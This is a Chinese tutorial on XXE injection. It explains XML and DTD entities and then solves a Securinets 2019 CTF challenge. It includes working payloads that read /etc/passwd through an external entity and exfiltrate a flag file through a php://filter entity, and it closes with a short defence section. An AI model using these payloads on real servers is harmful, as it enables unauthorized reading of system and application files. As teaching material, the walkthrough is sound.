0x01前言
xxe漏洞,全称是——XML External Entity,也就是XML外部实体注入攻击.漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。
0x02预备知识
了解XXE之前需要先了解下XML,XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
<!--XML申明--><?xml version="1.0"?><!--文档类型定义--><!DOCTYPE note [ <!--定义此文档是 note 类型的文档--><!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素--><!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型--><!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型--><!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型--><!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->]]]><!--文档元素--><note><to>Dave</to><from>Tom</from><head>Reminder</head><body>You are a good man</body></note>
- DOCTYPE(DTD的声明)
- ENTITY(实体的声明)
- SYSTEM、PUBLIC(外部资源申请)
<!DOCTYPE 根元素 [元素声明]>
<!DOCTYPE 根元素 SYSTEM "文件名">
实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。
实体按类型主要分为以下四种:
- 内置实体 (Built-in entities)
- 字符实体 (Character entities)
- 通用实体 (General entities)
- 参数实体 (Parameter entities)
参数实体用%实体名称申明,引用时也用%实体名称;其余实体直接用实体名称申明,引用时用&实体名称。
参数实体只能在DTD中申明,DTD中引用;其余实体只能在DTD中申明,可在xml文档中引用。
内部实体:
<!ENTITY 实体名称 "实体的值">
外部实体:
<!ENTITY 实体名称 SYSTEM "URI">
参数实体:
<!ENTITY % 实体名称 "实体的值"> 或者 <!ENTITY % 实体名称 SYSTEM "URI">
实例演示:除参数实体外实体+内部实体
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY name "nMask">]> <foo> <value>&name;</value> </foo>
实例演示:参数实体+外部实体
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY % name SYSTEM "file:///etc/passwd"> %name; ]>
注意:%name(参数实体)是在DTD中被引用的,而&name(其余实体)是在xml文档中被引用的。
由于xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体。
支持的协议:
0x03利用方法及例子
XXE漏洞主要会造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等。
对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据,这里不展开讲解了。
这里举个Securinets Prequals CTF 2K19 https://web2.ctfsecurinets.com/的一个例子,一个简单的利用XXE文件读写。
题目一上来提示flag在flag文件中,观察提交名字,邮箱和信息,然后会回显名字,右键查看源码,观察到关键代码:
function func(){ var xml = '' + '<?xml version="1.0" encoding="UTF-8"?>' + '<feedback>' + '<author>' + $('input[name="name"]').val() + '</author>' + '<email>' + $('input[name="email"]').val() + '</email>' + '<content>' + $('input[name="feedback"]').val() + '</content>' + '</feedback>'; var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ console.log(xmlhttp.readyState); console.log(xmlhttp.responseText); document.getElementById('Message').innerHTML = xmlhttp.responseText; } } xmlhttp.open("POST","feed.php",true); xmlhttp.send(xml); };
这里是js构造了一个xml文档来post我们上述的信息,尝试利用XXE进行文件读取
成功得到回显
利用php伪协议读取flag文件
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE replace [<!ENTITY doc SYSTEM 'php://filter/convert.base64-encode/resource=flag'> ]><feedback><author>&doc;</author><email>123@gmail.com</email><content>undefined</content></feedback>
base64后得到flag:Securinets{Xxe_xXE_@Ll_Th3_W@Y}
还可以通过读proc/self/pwd/flag
0x04总结
对于XXE漏洞防御应该过滤用户提交的敏感词,关闭外部实体的引用等方法。